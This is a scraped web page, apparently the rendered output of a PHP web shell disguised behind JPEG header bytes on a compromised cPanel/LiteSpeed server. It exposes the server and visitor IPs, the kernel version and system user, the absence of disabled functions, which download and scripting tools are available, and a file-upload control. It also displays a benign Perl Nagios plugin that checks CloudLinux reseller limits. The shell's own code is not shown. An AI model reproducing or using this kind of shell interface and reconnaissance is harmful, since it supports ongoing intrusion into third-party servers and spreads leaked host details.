����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.117.241.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /usr/lib64/nagios/plugins/extra/ |
Upload File : |
#!/usr/bin/env perl use extreme; use Carp; use File::Slurp; use WHM::Client; use IPC::Run 'run'; # check os release my $release = read_file '/etc/redhat-release'; if (($release =~ /(\d+(\.\d+)?)/) && ($1 < 7)){ say "CloudLinux release less than the required version!"; exit 0; } sub lvectl_json ( $func, %params ) { my $lvectl = '/sbin/lvectl'; croak "executable file $lvectl not found" if !-x $lvectl; my $opt_string = q{}; for my $key ( keys %params ) { $opt_string .= q{ } if length $opt_string; $opt_string .= "--$key=$params{$key}"; } my @cmd = split /\s+/, "$lvectl --json $func $opt_string"; my ( $out, $err ); run \@cmd, \undef, \$out, \$err; croak "$out" if $? != 0; $out = JSON::XS->new->utf8->decode($out); if ( exists $out->{status} ) { croak $out if $out->{status} eq 'ERROR'; return $out; } else { return $out->{data}; } } my (@result, @skip_list); my $whm_cli = WHM::Client->local(); my $skip_list = '/etc/skipresellerslimits'; @skip_list = read_file($skip_list) if -f $skip_list; chomp @skip_list; for my $reseller ($whm_cli->listresellers()->{reseller}->@*) { next if $reseller eq 'billing'; next if $reseller ~~ @skip_list; my $clresources = lvectl_json( "list-reseller $reseller"); my $resources; for my $res ($clresources->@*){ $resources = $res if $res->{ID} eq 'limit'; } next if $resources; push @result, "$reseller doesn't have CloudLinux limits"; } if (@result) { say join( "\n", @result ); exit 2; } say "resellers cloudlinux limits is OK";